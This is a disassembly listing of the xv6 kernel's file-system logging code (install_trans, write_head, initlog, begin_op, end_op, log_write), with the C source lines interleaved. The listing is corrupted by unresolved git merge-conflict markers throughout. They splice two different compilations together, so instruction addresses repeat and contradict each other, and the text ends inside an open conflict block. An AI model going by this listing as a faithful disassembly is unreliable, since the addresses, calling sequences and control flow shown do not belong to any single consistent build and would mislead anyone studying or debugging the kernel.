801029aa: 89 41 0c mov %eax,0xc(%ecx)
801029ad: 8b 45 c8 mov -0x38(%ebp),%eax
801029b0: 89 41 10 mov %eax,0x10(%ecx)
801029b3: 8b 45 cc mov -0x34(%ebp),%eax
801029b6: 89 41 14 mov %eax,0x14(%ecx)
r->year += 2000;
801029b9: 81 41 14 d0 07 00 00 addl $0x7d0,0x14(%ecx)
}
801029c0: 83 c4 4c add $0x4c,%esp
801029c3: 5b pop %ebx
801029c4: 5e pop %esi
801029c5: 5f pop %edi
801029c6: 5d pop %ebp
801029c7: c3 ret
801029c8: 66 90 xchg %ax,%ax
801029ca: 66 90 xchg %ax,%ax
801029cc: 66 90 xchg %ax,%ax
801029ce: 66 90 xchg %ax,%ax
801029d0 <install_trans>:
}
// Copy committed blocks from log to their home location
static void
install_trans(void)
{
801029d0: 55 push %ebp
801029d1: 89 e5 mov %esp,%ebp
801029d3: 57 push %edi
801029d4: 56 push %esi
801029d5: 53 push %ebx
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
801029d6: 31 db xor %ebx,%ebx
}
// Copy committed blocks from log to their home location
static void
install_trans(void)
{
801029d8: 83 ec 1c sub $0x1c,%esp
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
801029db: a1 e8 26 11 80 mov 0x801126e8,%eax
801029e0: 85 c0 test %eax,%eax
801029e2: 7e 78 jle 80102a5c <install_trans+0x8c>
801029e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block
801029e8: a1 d4 26 11 80 mov 0x801126d4,%eax
801029ed: 01 d8 add %ebx,%eax
801029ef: 83 c0 01 add $0x1,%eax
801029f2: 89 44 24 04 mov %eax,0x4(%esp)
801029f6: a1 e4 26 11 80 mov 0x801126e4,%eax
801029fb: 89 04 24 mov %eax,(%esp)
801029fe: e8 cd d6 ff ff call 801000d0 <bread>
80102a03: 89 c7 mov %eax,%edi
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
80102a05: 8b 04 9d ec 26 11 80 mov -0x7feed914(,%ebx,4),%eax
static void
install_trans(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80102a0c: 83 c3 01 add $0x1,%ebx
struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
80102a0f: 89 44 24 04 mov %eax,0x4(%esp)
80102a13: a1 e4 26 11 80 mov 0x801126e4,%eax
80102a18: 89 04 24 mov %eax,(%esp)
80102a1b: e8 b0 d6 ff ff call 801000d0 <bread>
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
80102a20: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
80102a27: 00
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
80102a28: 89 c6 mov %eax,%esi
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
<<<<<<< HEAD
80102a64: 8d 47 5c lea 0x5c(%edi),%eax
80102a67: 83 c4 0c add $0xc,%esp
80102a6a: 68 00 02 00 00 push $0x200
80102a6f: 50 push %eax
80102a70: 8d 46 5c lea 0x5c(%esi),%eax
80102a73: 50 push %eax
80102a74: e8 77 1d 00 00 call 801047f0 <memmove>
=======
80102a2a: 8d 47 5c lea 0x5c(%edi),%eax
80102a2d: 89 44 24 04 mov %eax,0x4(%esp)
80102a31: 8d 46 5c lea 0x5c(%esi),%eax
80102a34: 89 04 24 mov %eax,(%esp)
80102a37: e8 64 1b 00 00 call 801045a0 <memmove>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
bwrite(dbuf); // write dst to disk
80102a3c: 89 34 24 mov %esi,(%esp)
80102a3f: e8 5c d7 ff ff call 801001a0 <bwrite>
brelse(lbuf);
80102a44: 89 3c 24 mov %edi,(%esp)
80102a47: e8 94 d7 ff ff call 801001e0 <brelse>
brelse(dbuf);
80102a4c: 89 34 24 mov %esi,(%esp)
80102a4f: e8 8c d7 ff ff call 801001e0 <brelse>
static void
install_trans(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80102a54: 39 1d e8 26 11 80 cmp %ebx,0x801126e8
80102a5a: 7f 8c jg 801029e8 <install_trans+0x18>
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
bwrite(dbuf); // write dst to disk
brelse(lbuf);
brelse(dbuf);
}
}
80102a5c: 83 c4 1c add $0x1c,%esp
80102a5f: 5b pop %ebx
80102a60: 5e pop %esi
80102a61: 5f pop %edi
80102a62: 5d pop %ebp
80102a63: c3 ret
80102a64: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102a6a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80102a70 <write_head>:
// Write in-memory log header to disk.
// This is the true point at which the
// current transaction commits.
static void
write_head(void)
{
80102a70: 55 push %ebp
80102a71: 89 e5 mov %esp,%ebp
80102a73: 57 push %edi
80102a74: 56 push %esi
80102a75: 53 push %ebx
80102a76: 83 ec 1c sub $0x1c,%esp
struct buf *buf = bread(log.dev, log.start);
80102a79: a1 d4 26 11 80 mov 0x801126d4,%eax
80102a7e: 89 44 24 04 mov %eax,0x4(%esp)
80102a82: a1 e4 26 11 80 mov 0x801126e4,%eax
80102a87: 89 04 24 mov %eax,(%esp)
80102a8a: e8 41 d6 ff ff call 801000d0 <bread>
struct logheader *hb = (struct logheader *) (buf->data);
int i;
hb->n = log.lh.n;
80102a8f: 8b 1d e8 26 11 80 mov 0x801126e8,%ebx
for (i = 0; i < log.lh.n; i++) {
80102a95: 31 d2 xor %edx,%edx
80102a97: 85 db test %ebx,%ebx
// This is the true point at which the
// current transaction commits.
static void
write_head(void)
{
struct buf *buf = bread(log.dev, log.start);
80102a99: 89 c7 mov %eax,%edi
struct logheader *hb = (struct logheader *) (buf->data);
int i;
hb->n = log.lh.n;
80102a9b: 89 58 5c mov %ebx,0x5c(%eax)
80102a9e: 8d 70 5c lea 0x5c(%eax),%esi
for (i = 0; i < log.lh.n; i++) {
80102aa1: 7e 17 jle 80102aba <write_head+0x4a>
80102aa3: 90 nop
80102aa4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
hb->block[i] = log.lh.block[i];
80102aa8: 8b 0c 95 ec 26 11 80 mov -0x7feed914(,%edx,4),%ecx
80102aaf: 89 4c 96 04 mov %ecx,0x4(%esi,%edx,4)
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *hb = (struct logheader *) (buf->data);
int i;
hb->n = log.lh.n;
for (i = 0; i < log.lh.n; i++) {
80102ab3: 83 c2 01 add $0x1,%edx
80102ab6: 39 da cmp %ebx,%edx
80102ab8: 75 ee jne 80102aa8 <write_head+0x38>
hb->block[i] = log.lh.block[i];
}
bwrite(buf);
80102aba: 89 3c 24 mov %edi,(%esp)
80102abd: e8 de d6 ff ff call 801001a0 <bwrite>
brelse(buf);
80102ac2: 89 3c 24 mov %edi,(%esp)
80102ac5: e8 16 d7 ff ff call 801001e0 <brelse>
}
80102aca: 83 c4 1c add $0x1c,%esp
80102acd: 5b pop %ebx
80102ace: 5e pop %esi
80102acf: 5f pop %edi
80102ad0: 5d pop %ebp
80102ad1: c3 ret
80102ad2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80102ad9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102ae0 <initlog>:
static void recover_from_log(void);
static void commit();
void
initlog(int dev)
{
80102ae0: 55 push %ebp
80102ae1: 89 e5 mov %esp,%ebp
80102ae3: 56 push %esi
80102ae4: 53 push %ebx
80102ae5: 83 ec 30 sub $0x30,%esp
80102ae8: 8b 5d 08 mov 0x8(%ebp),%ebx
if (sizeof(struct logheader) >= BSIZE)
panic("initlog: too big logheader");
struct superblock sb;
initlock(&log.lock, "log");
<<<<<<< HEAD
80102b1a: 68 fc 77 10 80 push $0x801077fc
80102b1f: 68 a0 26 11 80 push $0x801126a0
80102b24: e8 c7 19 00 00 call 801044f0 <initlock>
=======
80102aeb: c7 44 24 04 7c 75 10 movl $0x8010757c,0x4(%esp)
80102af2: 80
80102af3: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
80102afa: e8 01 18 00 00 call 80104300 <initlock>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
readsb(dev, &sb);
80102aff: 8d 45 dc lea -0x24(%ebp),%eax
80102b02: 89 44 24 04 mov %eax,0x4(%esp)
80102b06: 89 1c 24 mov %ebx,(%esp)
80102b09: e8 82 e8 ff ff call 80101390 <readsb>
log.start = sb.logstart;
80102b0e: 8b 45 ec mov -0x14(%ebp),%eax
log.size = sb.nlog;
80102b11: 8b 55 e8 mov -0x18(%ebp),%edx
// Read the log header from disk into the in-memory log header
static void
read_head(void)
{
struct buf *buf = bread(log.dev, log.start);
80102b14: 89 1c 24 mov %ebx,(%esp)
struct superblock sb;
initlock(&log.lock, "log");
readsb(dev, &sb);
log.start = sb.logstart;
log.size = sb.nlog;
log.dev = dev;
80102b17: 89 1d e4 26 11 80 mov %ebx,0x801126e4
// Read the log header from disk into the in-memory log header
static void
read_head(void)
{
struct buf *buf = bread(log.dev, log.start);
80102b1d: 89 44 24 04 mov %eax,0x4(%esp)
struct superblock sb;
initlock(&log.lock, "log");
readsb(dev, &sb);
log.start = sb.logstart;
log.size = sb.nlog;
80102b21: 89 15 d8 26 11 80 mov %edx,0x801126d8
panic("initlog: too big logheader");
struct superblock sb;
initlock(&log.lock, "log");
readsb(dev, &sb);
log.start = sb.logstart;
80102b27: a3 d4 26 11 80 mov %eax,0x801126d4
// Read the log header from disk into the in-memory log header
static void
read_head(void)
{
struct buf *buf = bread(log.dev, log.start);
80102b2c: e8 9f d5 ff ff call 801000d0 <bread>
struct logheader *lh = (struct logheader *) (buf->data);
int i;
log.lh.n = lh->n;
for (i = 0; i < log.lh.n; i++) {
80102b31: 31 d2 xor %edx,%edx
read_head(void)
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *lh = (struct logheader *) (buf->data);
int i;
log.lh.n = lh->n;
80102b33: 8b 58 5c mov 0x5c(%eax),%ebx
80102b36: 8d 70 5c lea 0x5c(%eax),%esi
for (i = 0; i < log.lh.n; i++) {
80102b39: 85 db test %ebx,%ebx
read_head(void)
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *lh = (struct logheader *) (buf->data);
int i;
log.lh.n = lh->n;
80102b3b: 89 1d e8 26 11 80 mov %ebx,0x801126e8
for (i = 0; i < log.lh.n; i++) {
80102b41: 7e 17 jle 80102b5a <initlog+0x7a>
80102b43: 90 nop
80102b44: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
log.lh.block[i] = lh->block[i];
80102b48: 8b 4c 96 04 mov 0x4(%esi,%edx,4),%ecx
80102b4c: 89 0c 95 ec 26 11 80 mov %ecx,-0x7feed914(,%edx,4)
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *lh = (struct logheader *) (buf->data);
int i;
log.lh.n = lh->n;
for (i = 0; i < log.lh.n; i++) {
80102b53: 83 c2 01 add $0x1,%edx
80102b56: 39 da cmp %ebx,%edx
80102b58: 75 ee jne 80102b48 <initlog+0x68>
log.lh.block[i] = lh->block[i];
}
brelse(buf);
80102b5a: 89 04 24 mov %eax,(%esp)
80102b5d: e8 7e d6 ff ff call 801001e0 <brelse>
static void
recover_from_log(void)
{
read_head();
install_trans(); // if committed, copy from log to disk
80102b62: e8 69 fe ff ff call 801029d0 <install_trans>
log.lh.n = 0;
80102b67: c7 05 e8 26 11 80 00 movl $0x0,0x801126e8
80102b6e: 00 00 00
write_head(); // clear the log
80102b71: e8 fa fe ff ff call 80102a70 <write_head>
readsb(dev, &sb);
log.start = sb.logstart;
log.size = sb.nlog;
log.dev = dev;
recover_from_log();
}
80102b76: 83 c4 30 add $0x30,%esp
80102b79: 5b pop %ebx
80102b7a: 5e pop %esi
80102b7b: 5d pop %ebp
80102b7c: c3 ret
80102b7d: 8d 76 00 lea 0x0(%esi),%esi
80102b80 <begin_op>:
}
// called at the start of each FS system call.
void
begin_op(void)
{
80102b80: 55 push %ebp
80102b81: 89 e5 mov %esp,%ebp
80102b83: 83 ec 18 sub $0x18,%esp
acquire(&log.lock);
<<<<<<< HEAD
80102bb6: 68 a0 26 11 80 push $0x801126a0
80102bbb: e8 50 19 00 00 call 80104510 <acquire>
80102bc0: 83 c4 10 add $0x10,%esp
80102bc3: eb 18 jmp 80102bdd <begin_op+0x2d>
80102bc5: 8d 76 00 lea 0x0(%esi),%esi
while(1){
if(log.committing){
sleep(&log, &log.lock);
80102bc8: 83 ec 08 sub $0x8,%esp
80102bcb: 68 a0 26 11 80 push $0x801126a0
80102bd0: 68 a0 26 11 80 push $0x801126a0
80102bd5: e8 76 13 00 00 call 80103f50 <sleep>
80102bda: 83 c4 10 add $0x10,%esp
=======
80102b86: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
80102b8d: e8 ee 17 00 00 call 80104380 <acquire>
80102b92: eb 18 jmp 80102bac <begin_op+0x2c>
80102b94: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while(1){
if(log.committing){
sleep(&log, &log.lock);
80102b98: c7 44 24 04 a0 26 11 movl $0x801126a0,0x4(%esp)
80102b9f: 80
80102ba0: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
80102ba7: e8 94 11 00 00 call 80103d40 <sleep>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
void
begin_op(void)
{
acquire(&log.lock);
while(1){
if(log.committing){
80102bac: a1 e0 26 11 80 mov 0x801126e0,%eax
80102bb1: 85 c0 test %eax,%eax
80102bb3: 75 e3 jne 80102b98 <begin_op+0x18>
sleep(&log, &log.lock);
} else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){
80102bb5: a1 dc 26 11 80 mov 0x801126dc,%eax
80102bba: 8b 15 e8 26 11 80 mov 0x801126e8,%edx
80102bc0: 83 c0 01 add $0x1,%eax
80102bc3: 8d 0c 80 lea (%eax,%eax,4),%ecx
80102bc6: 8d 14 4a lea (%edx,%ecx,2),%edx
80102bc9: 83 fa 1e cmp $0x1e,%edx
80102bcc: 7f ca jg 80102b98 <begin_op+0x18>
// this op might exhaust log space; wait for commit.
sleep(&log, &log.lock);
} else {
log.outstanding += 1;
release(&log.lock);
80102bce: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
sleep(&log, &log.lock);
} else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){
// this op might exhaust log space; wait for commit.
sleep(&log, &log.lock);
} else {
log.outstanding += 1;
80102bd5: a3 dc 26 11 80 mov %eax,0x801126dc
release(&log.lock);
<<<<<<< HEAD
80102c07: 68 a0 26 11 80 push $0x801126a0
80102c0c: e8 df 1a 00 00 call 801046f0 <release>
=======
80102bda: e8 d1 18 00 00 call 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
break;
}
}
}
80102bdf: c9 leave
80102be0: c3 ret
80102be1: eb 0d jmp 80102bf0 <end_op>
80102be3: 90 nop
80102be4: 90 nop
80102be5: 90 nop
80102be6: 90 nop
80102be7: 90 nop
80102be8: 90 nop
80102be9: 90 nop
80102bea: 90 nop
80102beb: 90 nop
80102bec: 90 nop
80102bed: 90 nop
80102bee: 90 nop
80102bef: 90 nop
80102bf0 <end_op>:
// called at the end of each FS system call.
// commits if this was the last outstanding operation.
void
end_op(void)
{
80102bf0: 55 push %ebp
80102bf1: 89 e5 mov %esp,%ebp
80102bf3: 57 push %edi
80102bf4: 56 push %esi
80102bf5: 53 push %ebx
80102bf6: 83 ec 1c sub $0x1c,%esp
int do_commit = 0;
acquire(&log.lock);
<<<<<<< HEAD
80102c29: 68 a0 26 11 80 push $0x801126a0
80102c2e: e8 dd 18 00 00 call 80104510 <acquire>
=======
80102bf9: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
80102c00: e8 7b 17 00 00 call 80104380 <acquire>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
log.outstanding -= 1;
80102c05: a1 dc 26 11 80 mov 0x801126dc,%eax
if(log.committing)
80102c0a: 8b 15 e0 26 11 80 mov 0x801126e0,%edx
end_op(void)
{
int do_commit = 0;
acquire(&log.lock);
log.outstanding -= 1;
80102c10: 83 e8 01 sub $0x1,%eax
if(log.committing)
80102c13: 85 d2 test %edx,%edx
end_op(void)
{
int do_commit = 0;
acquire(&log.lock);
log.outstanding -= 1;
80102c15: a3 dc 26 11 80 mov %eax,0x801126dc
if(log.committing)
80102c1a: 0f 85 f3 00 00 00 jne 80102d13 <end_op+0x123>
panic("log.committing");
if(log.outstanding == 0){
80102c20: 85 c0 test %eax,%eax
80102c22: 0f 85 cb 00 00 00 jne 80102cf3 <end_op+0x103>
log.committing = 1;
} else {
// begin_op() may be waiting for log space.
wakeup(&log);
}
release(&log.lock);
80102c28: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
}
static void
commit()
{
if (log.lh.n > 0) {
80102c2f: 31 db xor %ebx,%ebx
log.outstanding -= 1;
if(log.committing)
panic("log.committing");
if(log.outstanding == 0){
do_commit = 1;
log.committing = 1;
80102c31: c7 05 e0 26 11 80 01 movl $0x1,0x801126e0
80102c38: 00 00 00
} else {
// begin_op() may be waiting for log space.
wakeup(&log);
}
release(&log.lock);
<<<<<<< HEAD
80102c68: 68 a0 26 11 80 push $0x801126a0
80102c6d: e8 7e 1a 00 00 call 801046f0 <release>
=======
80102c3b: e8 70 18 00 00 call 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
static void
commit()
{
if (log.lh.n > 0) {
80102c40: a1 e8 26 11 80 mov 0x801126e8,%eax
80102c45: 85 c0 test %eax,%eax
80102c47: 0f 8e 90 00 00 00 jle 80102cdd <end_op+0xed>
80102c4d: 8d 76 00 lea 0x0(%esi),%esi
write_log(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
struct buf *to = bread(log.dev, log.start+tail+1); // log block
80102c50: a1 d4 26 11 80 mov 0x801126d4,%eax
80102c55: 01 d8 add %ebx,%eax
80102c57: 83 c0 01 add $0x1,%eax
80102c5a: 89 44 24 04 mov %eax,0x4(%esp)
80102c5e: a1 e4 26 11 80 mov 0x801126e4,%eax
80102c63: 89 04 24 mov %eax,(%esp)
80102c66: e8 65 d4 ff ff call 801000d0 <bread>
80102c6b: 89 c6 mov %eax,%esi
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
80102c6d: 8b 04 9d ec 26 11 80 mov -0x7feed914(,%ebx,4),%eax
static void
write_log(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80102c74: 83 c3 01 add $0x1,%ebx
struct buf *to = bread(log.dev, log.start+tail+1); // log block
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
80102c77: 89 44 24 04 mov %eax,0x4(%esp)
80102c7b: a1 e4 26 11 80 mov 0x801126e4,%eax
80102c80: 89 04 24 mov %eax,(%esp)
80102c83: e8 48 d4 ff ff call 801000d0 <bread>
memmove(to->data, from->data, BSIZE);
80102c88: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
80102c8f: 00
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
struct buf *to = bread(log.dev, log.start+tail+1); // log block
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
80102c90: 89 c7 mov %eax,%edi
memmove(to->data, from->data, BSIZE);
<<<<<<< HEAD
80102cbc: 8d 40 5c lea 0x5c(%eax),%eax
80102cbf: 83 c4 0c add $0xc,%esp
80102cc2: 68 00 02 00 00 push $0x200
80102cc7: 50 push %eax
80102cc8: 8d 46 5c lea 0x5c(%esi),%eax
80102ccb: 50 push %eax
80102ccc: e8 1f 1b 00 00 call 801047f0 <memmove>
=======
80102c92: 8d 40 5c lea 0x5c(%eax),%eax
80102c95: 89 44 24 04 mov %eax,0x4(%esp)
80102c99: 8d 46 5c lea 0x5c(%esi),%eax
80102c9c: 89 04 24 mov %eax,(%esp)
80102c9f: e8 fc 18 00 00 call 801045a0 <memmove>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
bwrite(to); // write the log
80102ca4: 89 34 24 mov %esi,(%esp)
80102ca7: e8 f4 d4 ff ff call 801001a0 <bwrite>
brelse(from);
80102cac: 89 3c 24 mov %edi,(%esp)
80102caf: e8 2c d5 ff ff call 801001e0 <brelse>
brelse(to);
80102cb4: 89 34 24 mov %esi,(%esp)
80102cb7: e8 24 d5 ff ff call 801001e0 <brelse>
static void
write_log(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80102cbc: 3b 1d e8 26 11 80 cmp 0x801126e8,%ebx
80102cc2: 7c 8c jl 80102c50 <end_op+0x60>
static void
commit()
{
if (log.lh.n > 0) {
write_log(); // Write modified blocks from cache to log
write_head(); // Write header to disk -- the real commit
80102cc4: e8 a7 fd ff ff call 80102a70 <write_head>
install_trans(); // Now install writes to home locations
80102cc9: e8 02 fd ff ff call 801029d0 <install_trans>
log.lh.n = 0;
80102cce: c7 05 e8 26 11 80 00 movl $0x0,0x801126e8
80102cd5: 00 00 00
write_head(); // Erase the transaction from the log
80102cd8: e8 93 fd ff ff call 80102a70 <write_head>
if(do_commit){
// call commit w/o holding locks, since not allowed
// to sleep with locks.
commit();
acquire(&log.lock);
<<<<<<< HEAD
80102d0d: 83 ec 0c sub $0xc,%esp
80102d10: 68 a0 26 11 80 push $0x801126a0
80102d15: e8 f6 17 00 00 call 80104510 <acquire>
log.committing = 0;
wakeup(&log);
80102d1a: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
if(do_commit){
// call commit w/o holding locks, since not allowed
// to sleep with locks.
commit();
acquire(&log.lock);
log.committing = 0;
80102d21: c7 05 e0 26 11 80 00 movl $0x0,0x801126e0
80102d28: 00 00 00
wakeup(&log);
80102d2b: e8 c0 13 00 00 call 801040f0 <wakeup>
release(&log.lock);
80102d30: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
80102d37: e8 b4 19 00 00 call 801046f0 <release>
80102d3c: 83 c4 10 add $0x10,%esp
}
}
80102d3f: 8d 65 f4 lea -0xc(%ebp),%esp
80102d42: 5b pop %ebx
80102d43: 5e pop %esi
80102d44: 5f pop %edi
80102d45: 5d pop %ebp
80102d46: c3 ret
80102d47: 89 f6 mov %esi,%esi
80102d49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
if(log.outstanding == 0){
do_commit = 1;
log.committing = 1;
} else {
// begin_op() may be waiting for log space.
wakeup(&log);
80102d50: 83 ec 0c sub $0xc,%esp
80102d53: 68 a0 26 11 80 push $0x801126a0
80102d58: e8 93 13 00 00 call 801040f0 <wakeup>
}
release(&log.lock);
80102d5d: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
80102d64: e8 87 19 00 00 call 801046f0 <release>
80102d69: 83 c4 10 add $0x10,%esp
acquire(&log.lock);
=======
80102cdd: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
80102ce4: e8 97 16 00 00 call 80104380 <acquire>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
log.committing = 0;
80102ce9: c7 05 e0 26 11 80 00 movl $0x0,0x801126e0
80102cf0: 00 00 00
wakeup(&log);
80102cf3: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
80102cfa: e8 e1 11 00 00 call 80103ee0 <wakeup>
release(&log.lock);
80102cff: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
80102d06: e8 a5 17 00 00 call 801044b0 <release>
}
}
80102d0b: 83 c4 1c add $0x1c,%esp
80102d0e: 5b pop %ebx
80102d0f: 5e pop %esi
80102d10: 5f pop %edi
80102d11: 5d pop %ebp
80102d12: c3 ret
int do_commit = 0;
acquire(&log.lock);
log.outstanding -= 1;
if(log.committing)
panic("log.committing");
<<<<<<< HEAD
80102d74: 83 ec 0c sub $0xc,%esp
80102d77: 68 00 78 10 80 push $0x80107800
80102d7c: e8 ef d5 ff ff call 80100370 <panic>
80102d81: eb 0d jmp 80102d90 <log_write>
80102d83: 90 nop
80102d84: 90 nop
80102d85: 90 nop
80102d86: 90 nop
80102d87: 90 nop
80102d88: 90 nop
80102d89: 90 nop
80102d8a: 90 nop
80102d8b: 90 nop
80102d8c: 90 nop
80102d8d: 90 nop
80102d8e: 90 nop
80102d8f: 90 nop
80102d90 <log_write>:
=======
80102d13: c7 04 24 80 75 10 80 movl $0x80107580,(%esp)
80102d1a: e8 41 d6 ff ff call 80100360 <panic>
80102d1f: 90 nop
80102d20 <log_write>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// modify bp->data[]
// log_write(bp)
// brelse(bp)
void
log_write(struct buf *b)
{
80102d20: 55 push %ebp
80102d21: 89 e5 mov %esp,%ebp
80102d23: 53 push %ebx
80102d24: 83 ec 14 sub $0x14,%esp
int i;
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
80102d27: a1 e8 26 11 80 mov 0x801126e8,%eax
// modify bp->data[]
// log_write(bp)
// brelse(bp)
void
log_write(struct buf *b)
{
80102d2c: 8b 5d 08 mov 0x8(%ebp),%ebx
int i;
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
80102d2f: 83 f8 1d cmp $0x1d,%eax
80102d32: 0f 8f 98 00 00 00 jg 80102dd0 <log_write+0xb0>
80102d38: 8b 0d d8 26 11 80 mov 0x801126d8,%ecx
80102d3e: 8d 51 ff lea -0x1(%ecx),%edx
80102d41: 39 d0 cmp %edx,%eax
80102d43: 0f 8d 87 00 00 00 jge 80102dd0 <log_write+0xb0>
panic("too big a transaction");
if (log.outstanding < 1)
80102d49: a1 dc 26 11 80 mov 0x801126dc,%eax
80102d4e: 85 c0 test %eax,%eax
80102d50: 0f 8e 86 00 00 00 jle 80102ddc <log_write+0xbc>
panic("log_write outside of trans");
acquire(&log.lock);
<<<<<<< HEAD
80102dc6: 83 ec 0c sub $0xc,%esp
80102dc9: 68 a0 26 11 80 push $0x801126a0
80102dce: e8 3d 17 00 00 call 80104510 <acquire>
=======
80102d56: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
80102d5d: e8 1e 16 00 00 call 80104380 <acquire>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
for (i = 0; i < log.lh.n; i++) {
80102d62: 8b 15 e8 26 11 80 mov 0x801126e8,%edx
80102d68: 83 fa 00 cmp $0x0,%edx
80102d6b: 7e 54 jle 80102dc1 <log_write+0xa1>
if (log.lh.block[i] == b->blockno) // log absorbtion
80102d6d: 8b 4b 08 mov 0x8(%ebx),%ecx
panic("too big a transaction");
if (log.outstanding < 1)
panic("log_write outside of trans");
acquire(&log.lock);
for (i = 0; i < log.lh.n; i++) {
80102d70: 31 c0 xor %eax,%eax
if (log.lh.block[i] == b->blockno) // log absorbtion
80102d72: 39 0d ec 26 11 80 cmp %ecx,0x801126ec
80102d78: 75 0f jne 80102d89 <log_write+0x69>
80102d7a: eb 3c jmp 80102db8 <log_write+0x98>
80102d7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102d80: 39 0c 85 ec 26 11 80 cmp %ecx,-0x7feed914(,%eax,4)
80102d87: 74 2f je 80102db8 <log_write+0x98>
panic("too big a transaction");
if (log.outstanding < 1)
panic("log_write outside of trans");
acquire(&log.lock);
for (i = 0; i < log.lh.n; i++) {
80102d89: 83 c0 01 add $0x1,%eax
80102d8c: 39 d0 cmp %edx,%eax
80102d8e: 75 f0 jne 80102d80 <log_write+0x60>
if (log.lh.block[i] == b->blockno) // log absorbtion
break;
}
log.lh.block[i] = b->blockno;
80102d90: 89 0c 95 ec 26 11 80 mov %ecx,-0x7feed914(,%edx,4)
if (i == log.lh.n)
log.lh.n++;
80102d97: 83 c2 01 add $0x1,%edx
80102d9a: 89 15 e8 26 11 80 mov %edx,0x801126e8
b->flags |= B_DIRTY; // prevent eviction
80102da0: 83 0b 04 orl $0x4,(%ebx)
release(&log.lock);
80102da3: c7 45 08 a0 26 11 80 movl $0x801126a0,0x8(%ebp)
}
80102daa: 83 c4 14 add $0x14,%esp
80102dad: 5b pop %ebx
80102dae: 5d pop %ebp
}
log.lh.block[i] = b->blockno;
if (i == log.lh.n)
log.lh.n++;
b->flags |= B_DIRTY; // prevent eviction
release(&log.lock);
<<<<<<< HEAD
80102e1e: e9 cd 18 00 00 jmp 801046f0 <release>
80102e23: 90 nop
80102e24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
=======
80102daf: e9 fc 16 00 00 jmp 801044b0 <release>
80102db4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
acquire(&log.lock);
for (i = 0; i < log.lh.n; i++) {
if (log.lh.block[i] == b->blockno) // log absorbtion
break;
}
log.lh.block[i] = b->blockno;
80102db8: 89 0c 85 ec 26 11 80 mov %ecx,-0x7feed914(,%eax,4)
80102dbf: eb df jmp 80102da0 <log_write+0x80>
80102dc1: 8b 43 08 mov 0x8(%ebx),%eax
80102dc4: a3 ec 26 11 80 mov %eax,0x801126ec
if (i == log.lh.n)
80102dc9: 75 d5 jne 80102da0 <log_write+0x80>
80102dcb: eb ca jmp 80102d97 <log_write+0x77>
80102dcd: 8d 76 00 lea 0x0(%esi),%esi
log_write(struct buf *b)
{
int i;
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
panic("too big a transaction");
<<<<<<< HEAD
